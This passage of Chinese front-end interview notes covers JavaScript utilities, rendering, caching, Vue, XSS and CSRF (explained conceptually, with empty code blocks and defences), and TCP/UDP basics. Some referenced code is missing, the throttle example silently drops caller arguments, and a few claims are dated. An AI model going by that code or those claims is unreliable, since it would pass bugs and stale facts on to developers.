func.apply(this, params) - } else { - context = this - args = params - } - // 如果已有延迟执⾏函数(later),调⽤的时候清除原来的并重新设定⼀ - // 这样做延迟函数会重新计时 - } else { - clearTimeout(timer) - timer = later() - } - } -} -``` - -整体函数实现的不难,总结⼀下。 - -- 对于按钮防点击来说的实现:如果函数是⽴即执⾏的,就⽴即调⽤,如果函数是延迟执⾏的,就缓存上下⽂和参数,放到延迟函数中去执⾏。⼀旦我开始⼀个定时器,只要我定时器还在,你每次点击我都重新计时。⼀旦你点累了,定时器时间到,定时器重置为null ,就可以再次点击了。 - -- 对于延时执⾏函数来说的实现:清除定时器ID,如果是延迟调⽤就调⽤函数 - -### 节流 - -防抖动和节流本质是不⼀样的。防抖动是将多次执⾏变为最后⼀次执⾏,节流是将多次执⾏ 变成每隔⼀段时间执⾏。 - -```js -/* - * 节流 思路: - * 先开启一个定时任务执行,定时任务完成后则清空,当再调用时,如果定时任务仍存在则不执行任何操作 - * */ -function throttle(fn, space) { - let task = null; - return function () { - if (!task) { - task = setTimeout(function (...arg) { - task = null; - fn.apply(this, arg); - }, space); - } - } -} - -let throttleShowLog = throttle(()=>{}, 3000); -``` - -### 模拟实现 call 和 apply - -可以从以下⼏点来考虑如何实现 - -- 不传⼊第⼀个参数,那么默认为 window - -- 改变了 this 指向,让新的对象可以执⾏该函数。那么思路是否可以变成给新的对象添加 - ⼀个函数,然后在执⾏完以后删除? - -```js -Function.prototype.myCall = function (context) { - context = context || window - // 给 context 添加⼀个属性 - // getValue.call(a, 'yck', '24') => a.fn = getValue - context.fn = this // 核心 - - // 将 context 后⾯的参数取出来 - const args = [...arguments].slice(1) - // getValue.call(a, 'yck', '24') => a.fn('yck', '24') - const result = context.fn(...args) - // 删除 fn - delete context.fn - return result -} -``` - -以上就是 call 的思路, apply 的实现也类似 - -```js -Function.prototype.myApply = function (context) { - context = context || window - context.fn = this - let result - // 需要判断是否存储第⼆个参数 - // 如果存在,就将第⼆个参数展开 - if (arguments[1]) { - result = context.fn(...arguments[1]) - } else { - result = context.fn() - } - delete context.fn - return result -} -``` - -bind 和其他两个⽅法作⽤也是⼀致的,只是该⽅法会返回⼀个函数。并且我们可以通过bind 实现柯⾥化。 - -同样的,也来模拟实现下 bind - -```js -Function.prototype.myBind = function (context) { - if (typeof this !== 'function') { - throw new TypeError('Error') - } - const _this = this - const args = [...arguments].slice(1) - // 返回⼀个函数 - return function F() { - // 因为返回了⼀个函数,我们可以 new F(),所以需要判断 - if (this instanceof F) { - return new _this(...args, ...arguments) - } - return _this.apply(context, args.concat(...arguments)) - } -} -``` - -### Promise 实现 -Promise 是 ES6 新增的语法,解决了回调地狱的问题。 - -可以把 Promise 看成⼀个状态机。初始是 pending 状态,可以通过函数 resolve 和 reject ,将状态转变为 resolved 或者 rejected 状态,状态⼀旦改变就不能再次变化。 - -### Generator 实现 - -Generator 是 ES6 中新增的语法,和 Promise ⼀样,都可以⽤来异步编程 - -从以上代码可以发现,加上 * 的函数执⾏后拥有了 next 函数,也就是说函数执⾏后返回 了⼀个对象。每次调⽤ next 函数可以继续执⾏被暂停的代码。以下是 Generator 函数的简单实现。 - -### Map、FlatMap 和 Reduce - -Map 作⽤是⽣成⼀个新数组,遍历原数组,将每个元素拿出来做⼀些变换然后 append 到新 的数组中。 - -```js -[1, 2, 3].map((v) => v + 1) -// -> [2, 3, 4] -``` - -Map 有三个参数,分别是当前索引元素,索引,原数组 - -```js -['1','2','3'].map(parseInt) -// parseInt('1', 0) -> 1 -// parseInt('2', 1) -> NaN -// parseInt('3', 2) -> NaN -``` - -FlatMap 和 map 的作⽤⼏乎是相同的,但是对于多维数组来说,会将原数组降维。可以将 FlatMap 看成是 map + flatten ,⽬前该函数在浏览器中还不⽀持。 - -而且仅支持一维 - -```js -const res = [1, [2], 3].flatMap((v) => v + 1) -// -> [ 2, '21', 4 ] -``` - -如果想将⼀个**多维数组彻底的降维**,可以这样实现 - -```js -const flattenDeep = (arr) => Array.isArray(arr) - ? arr.reduce( (a, b) => [...a, ...flattenDeep(b)] , []) - : [arr] -flattenDeep([1, [[2], [3, [4]], 5]]) -``` - -Reduce 作⽤是数组中的值组合起来,最终得到⼀个值 - -```js -function a() { - console.log(1); -} -function b() { - console.log(2); -} -[a, b].reduce((a, b) => a(b())) -// -> 2 1 -``` - -async 和 await ⼀个函数如果加上 async ,那么该函数就会返回⼀个 Promise - -```js -async function test() { - return "1"; -} -console.log(test()); // -> Promise {: "1"} -``` - -可以把 async 看成将函数返回值使⽤ Promise.resolve() 包裹了下。 - -await 只能在 async 函数中使⽤。 - -```js -function sleep() { - return new Promise(resolve => { - setTimeout(() => { - console.log('finish') - resolve("sleep"); - }, 2000); - }); -} - -async function test() { - let value = await sleep(); - console.log("object"); -} - -test() -``` - -上⾯代码会先打印 finish 然后再打印 object 。因为 await 会等待 sleep 函数resolve ,所以即使后⾯是同步代码,也不会先去执⾏同步代码再来执⾏异步代码。 - -async 和 await 相⽐直接使⽤ Promise 来说,优势在于处理 then 的调⽤链,能够更清晰准确的写出代码。缺点在于滥⽤ await 可能会导致性能问题,因为 await 会阻塞代码,也许之后的异步代码并不依赖于前者,但仍然需要等待前者完成,导致代码失去了并发性。 - -下⾯来看⼀个使⽤ await 的代码。 - -```js -var a = 0 -var b = async () => { - a = a + await 10 - console.log('2', a) // -> '2' 10 - a = (await 10) + a - console.log('3', a) // -> '3' 20 -} -b() -a++ -console.log('1', a) // -> '1' 1 -``` - -对于以上代码你可能会有疑惑,这⾥说明下原理 - -- ⾸先函数 b 先执⾏,在执⾏到 await 10 之前变量 a 还是 0,因为在 await 内部实现了 generators , generators 会保留堆栈中东⻄,所以这时候 a = 0 被保存了下来 -- 因为 await 是异步操作,遇到 await 就会⽴即返回⼀个 pending 状态的 Promise 对象,暂时返回执⾏代码的控制权,使得函数外的代码得以继续执⾏,所以会先执⾏console.log('1', a) -- 这时候同步代码执⾏完毕,开始执⾏异步代码,将保存下来的值拿出来使⽤,这时候 a = 10 -- 然后后⾯就是常规执⾏代码了 - -### Proxy - -Proxy 是 ES6 中新增的功能,可以⽤来⾃定义对象中的操作 - - -### 图层 - -⼀般来说,可以把普通⽂档流看成⼀个图层。特定的属性可以⽣成⼀个新的图层。不同的图 层渲染互不影响,所以对于某些频繁需要渲染的建议单独⽣成⼀个新图层,提⾼性能。但也 不能⽣成过多的图层,会引起反作⽤。 - -通过以下⼏个常⽤属性可以⽣成新图层 - -- 3D 变换: translate3d 、 translateZ -- will-change -- video 、 iframe 标签 -- 通过动画实现的 opacity 动画转换 -- position: fixed - -重绘(Repaint)和回流(Reflow) 重绘和回流是渲染步骤中的⼀⼩节,但是这两个步骤对于性能影响很⼤。 - -- 重绘是当节点需要更改外观⽽不会影响布局的,⽐如改变 color 就叫称为重绘 -- 回流是布局或者⼏何属性需要改变就称为回流 - -回流必定会发⽣重绘,重绘不⼀定会引发回流。回流所需的成本⽐重绘⾼的多,改变深层次 的节点很可能导致⽗节点的⼀系列回流。 - -所以以下⼏个动作可能会导致性能问题: - -- 改变 window ⼤⼩ -- 改变字体 -- 添加或删除样式 -- ⽂字改变 -- 定位或者浮动 -- 盒模型 - -很多⼈不知道的是,重绘和回流其实和 Event loop 有关。 - -1. 当 Event loop 执⾏完 Microtasks 后,会判断 document 是否需要更新。因为浏览器是60Hz 的刷新率,每 16ms 才会更新⼀次。 -2. ... -3. 执⾏ requestAnimationFrame 回调 - -### 减少重绘和回流 - -- 使⽤ translate 替代 top - -- 使⽤ visibility 替换 display: none ,因为前者只会引起重绘,后者会引发回流 (改变了布局) - -- 把 DOM 离线后修改,⽐如:先把 DOM 给 display:none (有⼀次 Reflow),然后你修 改100次,然后再把它显示出来 - -- 不要把 DOM 结点的属性值放在⼀个循环⾥当成循环⾥的变量 - - ```js - for(let i = 0; i < 1000; i++) { - // 获取 offsetTop 会导致回流,因为需要去获取正确的值 - console.log(document.querySelector('.test').style.offsetTop) - } - ``` - -- 不要使⽤ table 布局,可能很⼩的⼀个⼩改动会造成整个 table 的重新布局 - -- 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使⽤ - requestAnimationFrame - -- CSS 选择符从右往左匹配查找,避免 DOM 深度过深 - -- 将频繁运⾏的动画变为图层,图层能够阻⽌该节点回流影响别的元素。⽐如对于 video 标签,浏览器会⾃动将该节点变为图层。 - -## 性能章节 - -### DNS 预解析 - -DNS 解析也是需要时间的,可以通过预解析的⽅式来预先获得域名所对应的 IP - -### 缓存 - -缓存对于前端性能优化来说是个很重要的点,良好的缓存策略可以降低资源的重复加载提⾼ ⽹⻚的整体加载速度。 - -通常浏览器缓存策略分为两种:强缓存和协商缓存。 - -**强缓存** - -实现强缓存可以通过两种响应头实现: Expires 和 Cache-Control 。强缓存表示在缓存期 间不需要请求, state code 为 200 - -``` -Expires: Wed, 22 Oct 2018 08:41:00 GMT -``` - -Expires 是 HTTP / 1.0 的产物,表示资源会在 Wed, 22 Oct 2018 08:41:00 GMT 后过 期,需要再次请求。并且 Expires 受限于本地时间,如果修改了本地时间,可能会造成缓存 失效。 - -``` -Cache-control: max-age=30 -``` - -Cache-Control 出现于 HTTP / 1.1,优先级⾼于 Expires 。该属性表示资源会在 30 秒后 过期,需要再次请求。 - -**协商缓存** - -如果缓存过期了,我们就可以使⽤协商缓存来解决问题。协商缓存需要请求,如果缓存有效 会返回 304。 - -协商缓存需要客户端和服务端共同实现,和强缓存⼀样,也有两种实现⽅式。 - -**Last-Modified 和 If-Modified-Since** - -Last-Modified 表示本地⽂件最后修改⽇期, If-Modified-Since 会将 Last-Modified 的值发送给服务器,询问服务器在该⽇期后资源是否有更新,有更新的话就会将新的资源发 送回来。 - -但是如果在**本地打开缓存⽂件,就会造成 Last-Modified 被修改,所以在 HTTP / 1.1 出现 了 ETag 。** - -**ETag 和 If-None-Match** - -ETag 类似于⽂件指纹, If-None-Match 会将当前 ETag 发送给服务器,询问该资源 ETag 是否变动,有变动的话就将新的资源发送回来。并且 ETag 优先级⽐ Last-Modified ⾼。 - -### 选择合适的缓存策略 - -对于⼤部分的场景都可以使⽤强缓存配合协商缓存解决,但是在⼀些特殊的地⽅可能需要选 择特殊的缓存策略 - -- 对于某些不需要缓存的资源,可以使⽤ **Cache-control: no-store** ,表示该资源不需 要缓存 -- 对于频繁变动的资源,可以使⽤ **Cache-Control: no-cache 并配合 ETag 使⽤**,表示 该资源已被缓存,但是每次都会发送请求询问资源是否更新。 -- 对于代码⽂件来说,通常使⽤ Cache-Control: max-age=31536000(超长时间) 并配合策略缓存使⽤,**然后对⽂件进⾏指纹处理,⼀旦⽂件名变动就会⽴刻下载新的⽂件**。 - -### 使⽤ HTTP / 2.0 -因为浏览器会有并发请求限制,在 HTTP / 1.1 时代,每个请求都需要建⽴和断开,消耗了好⼏个 RTT 时间,并且由于 TCP 慢启动的原因,加载体积⼤的⽂件会需要更多的时间。 - -在 HTTP / 2.0 中引⼊了多路复⽤,能够让多个请求使⽤同⼀个 TCP 链接,极⼤的加快了⽹ -⻚的加载速度。并且还⽀持 Header 压缩,进⼀步的减少了请求的数据⼤⼩。 - -### 预加载 - -在开发中,可能会遇到这样的情况。有些资源不需要⻢上⽤到,但是希望尽早获取,这时候 就可以使⽤预加载。 - -预加载其实是**声明式的 fetch ,强制浏览器请求资源,并且不会阻塞 onload 事件**,可以 使⽤以下代码开启预加载 - -``` - -``` - -预加载可以⼀定程度上降低⾸屏的加载时间,因为可以将⼀些不影响⾸屏但重要的⽂件延后 加载,唯⼀缺点就是兼容性不好。 - -### 预渲染 - -可以通过预渲染将下载的⽂件预先在后台渲染,可以使⽤以下代码开启预渲染 - -``` - -``` - -预渲染虽然可以提⾼⻚⾯的加载速度,但是要确保该⻚⾯百分百会被⽤户在之后打开,否则 就⽩⽩浪费资源去渲染 - -### 优化渲染过程 - -**懒执⾏** - -懒执⾏就是将某些逻辑延迟到使⽤时再计算。该技术可以⽤于⾸屏优化,对于某些耗时逻辑 并**不需要在⾸屏就使⽤的**,就可以使⽤懒执⾏。**懒执⾏需要唤醒,⼀般可以通过定时器或者 事件的调⽤来唤醒。** - -**懒加载** - -懒加载就是将不关键的资源延后加载。 - -懒加载的原理就是只加载⾃定义区域(通常是可视区域,但也可以是即将进⼊可视区域)内 需要加载的东⻄。**对于图⽚来说,先设置图⽚标签的 src 属性为⼀张占位图,将真实的图⽚ 资源放⼊⼀个⾃定义属性中,当进⼊⾃定义区域时,就将⾃定义属性替换为 src 属性,这样 图⽚就会去下载资源,实现了图⽚懒加载**。 - -懒加载不仅可以⽤于图⽚,也可以使⽤在别的资源上。⽐如进⼊可视区域才开始播放视频等 等。 - -## ⽂件优化 - -### 图⽚优化 - -**图⽚加载优化** - -1. 不⽤图⽚。很多时候会使⽤到很多修饰类图⽚,其实这类修饰图⽚完全可以⽤ CSS 去代 -替。 -2. 对于移动端来说,屏幕宽度就那么点,完全没有必要去加载原图浪费带宽。⼀般图⽚都⽤ -CDN 加载,可以计算出适配屏幕的宽度,然后去请求相应裁剪好的图⽚。 -3. ⼩图使⽤ base64 格式 -4. 将多个图标⽂件整合到⼀张图⽚中(雪碧图) -5. 选择正确的图⽚格式: -- 对于能够显示 WebP 格式的浏览器尽量使⽤ WebP 格式。因为 WebP 格式具有更好的图像数据压缩算法,能带来更⼩的图⽚体积,⽽且拥有⾁眼识别⽆差异的图像质量,缺点就是兼容性并不好 -- ⼩图使⽤ PNG,其实对于⼤部分图标这类图⽚,完全可以使⽤ SVG 代替 -- 照⽚使⽤ JPEG - -**其他⽂件优化** - -- CSS ⽂件放在 head 中 -- 服务端开启⽂件压缩功能 -- 将 script 标签放在 body 底部,因为 JS ⽂件执⾏会阻塞渲染。当然也可以把script 标签放在任意位置然后加上 **defer** ,表示该⽂件会**并⾏下载**,但是会放到HTML 解析完成后顺序执⾏。对于没有任何依赖的 JS ⽂件可以加上 **async** ,表示**加载和渲染后续⽂档元素的过程将和 JS ⽂件的加载与执⾏并⾏⽆序进⾏**。 -- 执⾏ JS 代码过⻓会卡住渲染,对于需要很多时间计算的代码可以考虑使⽤ - Webworker 。 Webworker 可以让我们另开⼀个线程执⾏脚本⽽不影响渲染。 - -**CDN** - -静态资源尽量使⽤ CDN 加载,由于浏览器对于单个域名有并发请求上限,可以考虑使⽤多个 CDN 域名。对于 CDN 加载静态资源需要注意 CDN 域名要与主站不同,否则每次请求都会带 上主站的 Cookie。 - -### 其他 - -**使⽤ Webpack 优化项⽬** - -- 对于 Webpack4,打包项⽬使⽤ production 模式,这样会⾃动开启代码压缩 -- 使⽤ ES6 模块来开启 tree shaking(树摇),这个技术可以移除没有使⽤的代码 -- 优化图⽚,对于⼩图可以使⽤ base64 的⽅式写⼊⽂件中 -- 按照路由拆分代码,实现按需加载 -- 给打包出来的⽂件名添加哈希,实现浏览器缓存⽂ - -**如何渲染⼏万条数据并不卡住界⾯** - -这道题考察了如何在不卡住⻚⾯的情况下渲染数据,也就是说不能⼀次性将⼏万条都渲染出来,⽽应该⼀次渲染部分 DOM,**那么就可以通过 requestAnimationFrame 来每 16 ms刷 新⼀次**。 - -## 框架基本原理篇 - -MVVM 由以下三个内容组成 - -View:界⾯ - -Model:数据模型 - -ViewModel:作为桥梁负责沟通 View 和 Model - -在 JQuery 时期,如果需要刷新 UI 时,需要先取到对应的 DOM 再更新 UI,这样数据和业务 的逻辑就和⻚⾯有强耦合。 - -在 MVVM 中,UI 是通过数据驱动的,数据⼀旦改变就会相应的刷新对应的 UI,UI 如果改 变,也会改变对应的数据。这种⽅式就可以在业务处理中只关⼼数据的流转,⽽⽆需直接和 ⻚⾯打交道。ViewModel 只关⼼数据和业务的处理,不关⼼ View 如何处理数据,在这种情况 下,View 和 Model 都可以独⽴出来,任何⼀⽅改变了也不⼀定需要改变另⼀⽅,并且可以将 ⼀些可复⽤的逻辑放在⼀个 ViewModel 中,让多个 View 复⽤这个 ViewModel。 - -在 MVVM 中,最核⼼的也就是**数据双向绑定**,例如 Angluar 的脏数据检测,**Vue 中的数据劫持。** - -### 数据劫持 - -Vue2 内部使⽤了 Object.defineProperty() 来实现双向绑定,通过这个函数可以监听到 set 和 get 的事件。 - -以上代码简单的实现了如何监听数据的 set 和 get 的事件,但是仅仅如此是不够的,还需 要在适当的时候给属性添加发布订阅 - -```html -
    - {{name}} -
    -``` - -在解析如上模板代码时,遇到 {{name}} 就会给属性 name 添加发布订阅。 - -### Proxy 与 Object.defineProperty 对⽐ - -Object.defineProperty 虽然已经能够实现双向绑定了,但是他还是有缺陷的。 -1. 只能对属性进⾏数据劫持,所以需要**深度遍历整个对象** -2. 对于数组不能监听到数据的变化(Vue2重写数组方法) - -### 路由原理 - -前端路由实现起来其实很简单,本质就是监听 URL 的变化,然后匹配路由规则,显示相应的 ⻚⾯,并且⽆须刷新。⽬前单⻚⾯使⽤的路由就只有两种实现⽅式 - -- hash 模式 -- history 模式 - -www.test.com/#/ 就是 Hash URL,当 # 后⾯的哈希值发⽣变化时,不会向服务器请求数 据,可以通过 **hashchange 事件**来监听到 URL 的变化,从⽽进⾏跳转⻚⾯。 - -![image-20220330135438925](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220330135438925.png) - -**History** 模式是 **HTML5 新推出的功能**,⽐之 Hash URL 更加美观 - -![image-20220330135446497](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220330135446497.png) - -### Virtual Dom - -**为什么需要 Virtual Dom** - -众所周知,操作 DOM 是很耗费性能的⼀件事情,既然如此,我们可以考虑通过 JS 对象来模 拟 DOM 对象,毕竟操作 JS 对象⽐操作 DOM 省时的多。 - -当然在实际操作中,我们还需要给每个节点⼀个标识,作为判断是同⼀个节点的依据。**所以 这也是 Vue 和 React 中官⽅推荐列表⾥的节点使⽤唯⼀的 key 来保证性能**。 - -那么既然 DOM 对象可以通过 JS 对象来模拟,反之也可以通过 JS 对象来渲染出对应的 DOM - -**Virtual Dom 算法简述** -DOM 是多叉树的结构,**如果需要完整的对⽐两颗树的差异**,那么需要的时间复杂度会是 O(n^ 3),这个复杂度肯定是不能接受的。于是 React 团队优化了算法,实现了 O(n) 的复杂度来对⽐差异。 - -实现 O(n) 复杂度的关键就是**只对⽐同层的节点,⽽不是跨层对⽐**,这也是考虑到在实际业**务中很少会去跨层的移动 DOM 元素。** - -所以判断差异的算法就分为了**两步** - -- ⾸先从上⾄下,从左往右遍历对象,也就是树的**深度遍历**,**这⼀步中会给每个节点添加索引,便于最后渲染差异** -- ⼀旦节点有⼦元素,就去判断⼦元素是否有不同 - -## Vue 章节 - -### NextTick 原理分析 - -nextTick 可以让我们在**下次 DOM 更新循环结束之后**执⾏延迟回调,⽤于获得更新后的 DOM。 - -### ⽣命周期分析 - -⽣命周期函数就是组件在初始化或者数据更新时会触发的钩⼦函数。 - -- created -- mounted -- upadted -- destoryed - -## 安全章节 - -### XSS - -> 跨⽹站指令码(英语:Cross-site scripting,通常简称为:XSS)是⼀种⽹站应⽤程 式的安全漏洞攻击,是代码注⼊的⼀种。它允许恶意使⽤者将程式码注⼊到⽹⻚上, 其他使⽤者在观看⽹⻚时就会受到影响。这类攻击通常包含了 HTML 以及使⽤者端 脚本语⾔。 - -XSS 分为三种:反射型,存储型和 DOM-based - -- 例如通过 URL 获取某些参数 -- ⽐如写了⼀篇包含攻击代码 的⽂章 - -**如何防御** - -最普遍的做法是转义输⼊输出的内容,对于**引号,尖括号,斜杠**进⾏转义 - -对于显示富⽂本来说,**不能通过上⾯的办法来转义所有字符,因为这样会把需要的格式也过滤掉**。这种情况通常采⽤**⽩名单过滤**的办法,当然也可以通过⿊名单过滤,但是考虑到需要 过滤的标签和标签属性实在太多,更加推荐使⽤⽩名单的⽅式。 - -### CSP - -> 内容安全策略 (CSP) 是⼀个额外的安全层,⽤于检测并削弱某些特定类型的攻击, 包括跨站脚本 (XSS) 和数据注⼊攻击等。⽆论是数据盗取、⽹站内容污染还是散发恶 意软件,这些攻击都是主要的⼿段。 - -### CSRF - -> 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或 者 session riding,通常缩写为 CSRF 或者 XSRF, 是⼀种挟制⽤户在当前已登录 的Web应⽤程序上执⾏⾮本意的操作的攻击⽅法。跟跨網站指令碼(XSS)相 ⽐,XSS 利⽤的是⽤户对指定⽹站的信任,CSRF 利⽤的是⽹站对⽤户⽹⻚浏览器 的信任。 - -假设⽹站中有⼀个通过 Get 请求提交⽤户评论的接⼝,那么攻击者就可以在钓⻥⽹站中加⼊ ⼀个图⽚,图⽚的地址就是评论接⼝ - -```js - -``` - -如果接⼝是 Post 提交的,就相对麻烦点,需要⽤表单来提交接⼝ - -```html -
    - - -``` - -**如何防御** - -防范 CSRF 可以遵循以下⼏种规则: - -1. Get 请求不对数据进⾏修改 -2. 不让第三⽅⽹站访问到⽤户 Cookie -3. 阻⽌第三⽅⽹站请求接⼝ -4. 请求时附带验证信息,⽐如验证码或者 token - -**SameSite** - -可以对 Cookie 设置 SameSite 属性。该属性设置 Cookie 不随着跨域请求发送,该属性可以很⼤程度减少 CSRF 的攻击,但是该属性⽬前并不是所有浏览器都兼容。 - -**验证 Referer** - -对于需要防范 CSRF 的请求,我们可以通过验证 Referer 来判断该请求是否为第三⽅⽹站发起的。(用referer来判断上一页面是不是自己网站) - -**Token** - -服务器下发⼀个随机 Token(算法不能复杂),每次发起请求时将 Token 携带上,服务器验证 Token 是否有效。 - -## 密码安全 - -密码安全虽然⼤多是后端的事情,但是作为⼀名优秀的前端程序员也需要熟悉这⽅⾯的知识。 - -**加盐** - -对于密码存储来说,必然是不能明⽂存储在数据库中的,否则⼀旦数据库泄露,会对⽤户造 成很⼤的损失。并且不建议只对密码单纯通过加密算法加密,因为存在彩虹表的关系。 - -## ⽹络章节 - -### UDP - -**⾯向报⽂** - -UDP 是⼀个⾯向报⽂(报⽂可以理解为⼀段段的数据)的协议。意思就是 UDP 只是报⽂的搬运⼯,不会对报⽂进⾏任何拆分和拼接操作。 - -具体来说 - -- 在发送端,应⽤层将数据传递给传输层的 UDP 协议,UDP 只会给数据增加⼀个 UDP 头标识下是 UDP 协议,然后就传递给⽹络层了 -- 在接收端,⽹络层将数据传递给传输层,UDP 只去除 IP 报⽂头就传递给应⽤层,不会任何拼接操作 - -**不可靠性** - -1. UDP 是⽆连接的,也就是说通信不需要建⽴和断开连接。 -2. UDP 也是不可靠的。协议收到什么数据就传递什么数据,并且也不会备份数据,对⽅能不能收到是不关⼼的 -3. UDP 没有拥塞控制,⼀直会以恒定的速度发送数据。即使⽹络条件不好,也不会对发送速率进⾏调整。这样实现的弊端就是在⽹络条件不好的情况下可能会导致丢包,但是优点也很明显,在某些实时性要求⾼的场景(⽐如电话会议)就需要使⽤ UDP ⽽不是 TCP。 - -**⾼效** - -因为 UDP 没有 TCP 那么复杂,需要保证数据不丢失且有序到达。**所以 UDP 的头部开销⼩, 只有⼋字节,相⽐ TCP 的⾄少⼆⼗字节要少得多**,在传输数据报⽂时是很⾼效的。 - -![image-20220331003314946](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220331003314946.png) - -头部包含了以下⼏个数据 - -- 两个⼗六位的端⼝号,分别为源端⼝(可选字段)和⽬标端⼝ -- 整个数据报⽂的⻓度 -- 整个数据报⽂的检验和(IPv4 可选 字段),该字段⽤于发现头部信息和数据中的错误 - -**传输⽅式** - -UDP 不⽌⽀持⼀对⼀的传输⽅式,同样⽀持⼀对多,多对多,多对⼀的⽅式,也就是说 UDP - -提供了单播,多播,⼴播的功能 - -### TCP - -**头部** - -TCP 头部⽐ UDP 头部复杂的多 - -![image-20220402002917867](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220402002917867.png) - -对于 TCP 头部来说,以下⼏个字段是很重要的 - -- Sequence number,这个序号保证了 TCP 传输的报⽂都是有序的,对端可以通过序号顺 序的拼接报⽂ -- Acknowledgement Number,这个序号表示数据接收端期望接收的下⼀个字节的编号是 多少,同时也表示上⼀个序号的数据已经收到 -- Window Size,窗⼝⼤⼩,表示还能接收多少字节的数据,⽤于流量控制 -- 标识符 - -### 建⽴连接三次握⼿ - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/2019082918370937.png) - -**你是否有疑惑明明两次握⼿就可以建⽴起连接,为什么还需要第三次应答?** - -因为这是为了防⽌失效的连接请求报⽂段被服务端接收(避免丢包的情况),从⽽产⽣错误。 - -可以想象如下场景。客户端发送了⼀个连接请求 A,但是因为⽹络原因造成了超时,这时TCP 会启动超时重传的机制再次发送⼀个连接请求 B。此时请求顺利到达服务端,服务端应答完就建⽴了请求。如果连接请求 A 在两端关闭后终于抵达了服务端,那么这时服务端会认为客户端⼜需要建⽴ TCP 连接,从⽽应答了该请求并进⼊ ESTABLISHED 状态。此时客户端其实是 CLOSED 状态,那么就会导致服务端⼀直等待,造成资源的浪费。 - -PS:在建⽴连接中,任意⼀端掉线,TCP 都会重发 SYN 包,⼀般会重试五次,在建⽴连接 中可能会遇到 SYN FLOOD 攻击。遇到这种情况你可以选择调低重试次数或者⼲脆在不能处 理的情况下拒绝请求。 - -### 断开链接四次握⼿ - -**为什么 A 要进⼊ TIME-WAIT 状态,等待 2MSL 时间后才进⼊ CLOSED 状态?** - -为了保证 B 能收到 A 的确认应答。若 A 发完确认应答后直接进⼊ CLOSED 状态,如果确认 应答因为⽹络问题⼀直没有到达,那么会造成 B 不能正常关闭。 - -### ARQ 协议 - -ARQ 协议也就是超时重传机制。通过确认和超时机制保证了数据的正确送达,ARQ 协议包含 -停⽌等待 ARQ 和连续 ARQ。 - -### 滑动窗⼝ - -在上⾯⼩节中讲到了发送窗⼝。在 TCP 中,两端都维护着窗⼝:分别为**发送端窗⼝**和**接收端窗⼝**。 - -发送端窗⼝包含已**发送但未收到应答的数据和可以发送但是未发送的数据** - -![image-20220403162841916](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220403162841916.png) - -发送端窗⼝是由接收窗⼝剩余⼤⼩决定的。接收⽅会把当前接收窗⼝的剩余⼤⼩写⼊应答报 ⽂,**发送端收到应答后根据该值和当前⽹络拥塞情况设置发送窗⼝的⼤⼩**,所以发送窗⼝的 ⼤⼩是不断变化的。 - -当发送端接收到应答报⽂后,会随之将窗⼝进⾏滑动 - -![image-20220403162859663](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220403162859663.png) - -滑动窗⼝实现了流量控制。接收⽅通过报⽂告知发送⽅还可以发送多少数据,从⽽保证接收 ⽅能够来得及接收数据。 - -**Zero 窗⼝** - -在发送报⽂的过程中,可能会遇到对端出现零窗⼝的情况。在该情况下,发送端会停⽌发送 数据,并启动 persistent timer 。该定时器会定时发送请求给对端,让对端告知窗⼝⼤⼩。在 重试次数超过⼀定次数后,可能会中断 TCP 链接。 - -### 拥塞处理 - -拥塞处理和流量控制不同,后者是作⽤于接收⽅,保证接收⽅来得及接受数据。⽽前者是作 ⽤于⽹络,防⽌过多的数据拥塞⽹络,避免出现⽹络负载过⼤的情况。 - -拥塞处理包括了四个算法,分别为:**慢开始,拥塞避免,快速重传,快速恢复**。 - -**慢开始算法** - -慢开始算法,顾名思义,就是在传输开始时将发送窗⼝慢慢指数级扩⼤,从⽽避免⼀开始就 传输⼤量数据导致⽹络拥塞。 - -慢开始算法步骤具体如下 - -1. 连接初始设置**拥塞窗⼝(Congestion Window)** 为 1 MSS(⼀个分段的最⼤数据量) -2. 每过⼀个 RTT 就将窗⼝⼤⼩乘⼆ -3. 指数级增⻓肯定不能没有限制的,所以有⼀个阈值限制,当窗⼝⼤⼩⼤于阈值时就会启动 -拥塞避免算法。 - -**拥塞避免算法** - -拥塞避免算法相⽐简单点,每过⼀个 RTT (来回通讯延迟 Round-trip delay)窗⼝⼤⼩只加⼀,这样能够避免指数级增⻓导致⽹ 络拥塞,慢慢将⼤⼩调整到最佳值。 - -在传输过程中可能**定时器超时的情况,这时候 TCP 会认为⽹络拥塞了**,会⻢上进⾏以下步骤: - -- 将阈值设为当前拥塞窗⼝的⼀半 -- 将拥塞窗⼝设为 1 MSS -- 启动拥塞避免算法 - -**快速重传** - -**快速重传⼀般和快恢复⼀起出现**。⼀旦接收端收到的报⽂出现失序的情况,接收端只会回复 最后⼀个顺序正确的报⽂序号(没有 Sack 的情况下)。如果收到三个重复的 ACK,⽆需等 待定时器超时再重发⽽是启动快速重传。具体算法分为两种: - -### HTTP - -HTTP 协议是个⽆状态协议,不会保存状态。 - -**Post 和 Get 的区别** - -先引⼊**副作⽤**和幂等的概念。 - -**副作⽤指对服务器上的资源做改变**,搜索是⽆副作⽤的,注册是副作⽤的。 - -幂等指发送 M 和 N 次请求(两者不相同且都⼤于 1),服务器上资源的状态⼀致,⽐如注册 10 个和 11 个帐号是不幂等的,对⽂章进⾏更改 10 次和 11 次是幂等的。 - -在规范的应⽤场景上说,Get 多⽤于⽆副作⽤,幂等的场景,例如搜索关键字。Post 多⽤于 副作⽤,不幂等的场景,例如注册。 - -在技术上说: - -- Get 请求能缓存,Post 不能 -- Post 相对 Get 安全⼀点点,因为Get 请求都包含在 URL ⾥,且会被浏览器保存历史纪录,Post 不会,但是在抓包的情况下都是⼀样的。 -- Post 可以通过 request body来传输⽐ Get 更多的数据,Get 没有这个技术 -- URL有⻓度限制,会影响 Get 请求,但是这个⻓度限制是浏览器规定的,不是 RFC (Request for Comments,请求意见稿的相关标准)规定的 -- Post ⽀持更多的编码类型且不对数据类型限制 - -### 常⻅状态码 - -**2XX 成功** - -- 200 OK,表示从客户端发来的请求在服务器端被正确处理 -- 204 No content,表示请求成功,但响应报⽂不含实体的主体部分 -- 205 Reset 